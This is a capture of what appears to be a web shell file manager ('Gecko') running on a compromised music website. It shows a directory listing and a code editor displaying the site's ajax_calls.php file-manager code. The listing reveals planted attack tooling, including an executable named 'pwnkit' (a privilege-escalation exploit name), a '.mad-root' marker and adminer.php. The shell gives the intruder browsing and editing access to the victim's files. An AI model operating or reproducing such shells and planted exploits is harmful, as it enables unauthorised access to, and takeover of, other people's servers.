Gecko [ musique.opus-31.fr ]

Name	Size	Permission
config	[ DIR ]	drwx---r-x
css	[ DIR ]	drwx---r-x
img	[ DIR ]	drwx---r-x
include	[ DIR ]	drwx---r-x
jPlayer	[ DIR ]	drwx---r-x
js	[ DIR ]	drwx---r-x
lang	[ DIR ]	drwx---r-x
uploader	[ DIR ]	drwx---r-x
.mad-root	0 B	-rw-r--r--
adminer.php	465.43 KB	-rw-r--r--
ajax_calls.php	7.99 KB	-rw----r--
autoload_classmap.php	0 B	-r--r--r--
dialog.php	38.51 KB	-rw----r--
execute.php	6.43 KB	-rw----r--
force_download.php	778 B	-rw----r--
plugin.js	1.8 KB	-rw----r--
plugin.min.js	1.26 KB	-rw----r--
pwnkit	10.99 KB	-rwxr-xr-x
upload.php	4.57 KB	-rw----r--

Code Editor : ajax_calls.php

<?php

include('config/config.php');

if ($_SESSION['verify'] != 'RESPONSIVEfilemanager')
	die('forbiden');

include('include/utils.php');

if (isset($_GET['action']))
	switch ($_GET['action'])
	{
		case 'view':
			if (isset($_GET['type']))
				$_SESSION['view_type'] = $_GET['type'];
			else
				die('view type number missing');
			break;
		case 'sort':
			if (isset($_GET['sort_by']))
				$_SESSION['sort_by'] = $_GET['sort_by'];
			if (isset($_GET['descending']))
				$_SESSION['descending'] = $_GET['descending'] === 'true';
			break;
		case 'image_size':
			if (realpath(dirname(_PS_ROOT_DIR_.$_POST['path'])) != realpath(_PS_ROOT_DIR_.$upload_dir))
				die();
			$pos = strpos($_POST['path'], $upload_dir);
			if ($pos !== false)
			{
				$info = getimagesize(substr_replace($_POST['path'], $current_path, $pos, strlen($upload_dir)));
				echo json_encode($info);
			}

break;
		case 'save_img':
			$info = pathinfo($_POST['name']);
			if (strpos($_POST['path'], '/') === 0
				|| strpos($_POST['path'], '../') !== false
				|| strpos($_POST['path'], './') === 0
				|| strpos($_POST['url'], 'http://featherfiles.aviary.com/') !== 0
				|| $_POST['name'] != fix_filename($_POST['name'], $transliteration)
				|| !in_array(strtolower($info['extension']), array('jpg', 'jpeg', 'png'))
			)
				die('wrong data');
			$image_data = get_file_by_url($_POST['url']);
			if ($image_data === false)
			{
				die('file could not be loaded');
			}

$put_contents_path = $current_path;

if (isset($_POST['path']))
				$put_contents_path .= str_replace("\0", "", $_POST['path']);

if (isset($_POST['name']))
				$put_contents_path .= str_replace("\0", "", $_POST['name']);
			
			file_put_contents($put_contents_path, $image_data);
			//new thumb creation
			//try{
			create_img_gd($current_path.$_POST['path'].$_POST['name'], $thumbs_base_path.$_POST['path'].$_POST['name'], 122, 91);
			new_thumbnails_creation($current_path.$_POST['path'], $current_path.$_POST['path'].$_POST['name'], $_POST['name'], $current_path, $relative_image_creation, $relative_path_from_current_pos, $relative_image_creation_name_to_prepend, $relative_image_creation_name_to_append, $relative_image_creation_width, $relative_image_creation_height, $fixed_image_creation, $fixed_path_from_filemanager, $fixed_image_creation_name_to_prepend, $fixed_image_creation_to_append, $fixed_image_creation_width, $fixed_image_creation_height);
			/*} catch (Exception $e) {
			$src_thumb=$mini_src="";
			}*/
			break;
		case 'extract':
			if (strpos($_POST['path'], '/') === 0 || strpos($_POST['path'], '../') !== false || strpos($_POST['path'], './') === 0)
				die('wrong path');
			$path = $current_path.$_POST['path'];
			$info = pathinfo($path);
			$base_folder = $current_path.fix_dirname($_POST['path']).'/';
			switch ($info['extension'])
			{
				case 'zip':
					$zip = new ZipArchive;
					if ($zip->open($path) === true)
					{
						//make all the folders
						for ($i = 0; $i < $zip->numFiles; $i++)
						{
							$OnlyFileName = $zip->getNameIndex($i);
							$FullFileName = $zip->statIndex($i);
							if ($FullFileName['name'][strlen($FullFileName['name']) - 1] == '/')
							{
								create_folder($base_folder.$FullFileName['name']);
							}
						}
						//unzip into the folders
						for ($i = 0; $i < $zip->numFiles; $i++)
						{
							$OnlyFileName = $zip->getNameIndex($i);
							$FullFileName = $zip->statIndex($i);

if (!($FullFileName['name'][strlen($FullFileName['name']) - 1] == '/'))
							{
								$fileinfo = pathinfo($OnlyFileName);
								if (in_array(strtolower($fileinfo['extension']), $ext))
								{
									copy('zip://'.$path.'#'.$OnlyFileName, $base_folder.$FullFileName['name']);
								}
							}
						}
						$zip->close();
					} 
					else
						echo 'failed to open file';
					break;
				case 'gz':
					$p = new PharData($path);
					$p->decompress(); // creates files.tar
					break;
				case 'tar':
					// unarchive from the tar
					$phar = new PharData($path);
					$phar->decompressFiles();
					$files = array();
					check_files_extensions_on_phar($phar, $files, '', $ext);
					$phar->extractTo($current_path.fix_dirname($_POST['path']).'/', $files, true);

break;
			}
			break;
		case 'media_preview':

$preview_file = $_GET['file'];
			$info = pathinfo($preview_file);
			?>
			<div id="jp_container_1" class="jp-video " style="margin:0 auto;">
				<div class="jp-type-single">
					<div id="jquery_jplayer_1" class="jp-jplayer"></div>
					<div class="jp-gui">
						<div class="jp-video-play">
							<a href="javascript:;" class="jp-video-play-icon" tabindex="1">play</a>
						</div>
						<div class="jp-interface">
							<div class="jp-progress">
								<div class="jp-seek-bar">
									<div class="jp-play-bar"></div>
								</div>
							</div>
							<div class="jp-current-time"></div>
							<div class="jp-duration"></div>
							<div class="jp-controls-holder">
								<ul class="jp-controls">
									<li><a href="javascript:;" class="jp-play" tabindex="1">play</a></li>
									<li><a href="javascript:;" class="jp-pause" tabindex="1">pause</a></li>
									<li><a href="javascript:;" class="jp-stop" tabindex="1">stop</a></li>
									<li><a href="javascript:;" class="jp-mute" tabindex="1" title="mute">mute</a></li>
									<li><a href="javascript:;" class="jp-unmute" tabindex="1" title="unmute">unmute</a>
									</li>
									<li><a href="javascript:;" class="jp-volume-max" tabindex="1" title="max volume">max
											volume</a></li>
								</ul>
								<div class="jp-volume-bar">
									<div class="jp-volume-bar-value"></div>
								</div>
								<ul class="jp-toggles">
									<li><a href="javascript:;" class="jp-full-screen" tabindex="1" title="full screen">full
											screen</a></li>
									<li>
										<a href="javascript:;" class="jp-restore-screen" tabindex="1" title="restore screen">restore
											screen</a></li>
									<li><a href="javascript:;" class="jp-repeat" tabindex="1" title="repeat">repeat</a>
									</li>
									<li><a href="javascript:;" class="jp-repeat-off" tabindex="1" title="repeat off">repeat
											off</a></li>
								</ul>
							</div>
							<div class="jp-title" style="display:none;">
								<ul>
									<li></li>
								</ul>
							</div>
						</div>
					</div>
					<div class="jp-no-solution">
						<span>Update Required</span>
						To play the media you will need to either update your browser to a recent version or update your
						<a href="http://get.adobe.com/flashplayer/" target="_blank">Flash plugin</a>.
					</div>
				</div>
			</div>
			<?php
			if (in_array(strtolower($info['extension']), $ext_music))
			{
				?>

$("#jquery_jplayer_1").jPlayer({
							ready: function () {
								$(this).jPlayer("setMedia", {
									title: "<?php Tools::safeOutput($_GET['title']); ?>",
									mp3: "<?php echo Tools::safeOutput($preview_file); ?>",
									m4a: "<?php echo Tools::safeOutput($preview_file); ?>",
									oga: "<?php echo Tools::safeOutput($preview_file); ?>",
									wav: "<?php echo Tools::safeOutput($preview_file); ?>"
								});
							},
							swfPath: "js",
							solution: "html,flash",
							supplied: "mp3, m4a, midi, mid, oga,webma, ogg, wav",
							smoothPlayBar: true,
							keyEnabled: false
						});
					});
				</script>

<?php
			} elseif (in_array(strtolower($info['extension']), $ext_video))
			{
				?>

$("#jquery_jplayer_1").jPlayer({
							ready: function () {
								$(this).jPlayer("setMedia", {
									title: "<?php Tools::safeOutput($_GET['title']); ?>",
									m4v: "<?php echo Tools::safeOutput($preview_file); ?>",
									ogv: "<?php echo Tools::safeOutput($preview_file); ?>"
								});
							},
							swfPath: "js",
							solution: "html,flash",
							supplied: "mp4, m4v, ogv, flv, webmv, webm",
							smoothPlayBar: true,
							keyEnabled: false
						});

});
				</script>

<?php
			}
			break;
	}
else
	die('no action passed');
?>

${this.title}

Code Editor : ajax_calls.php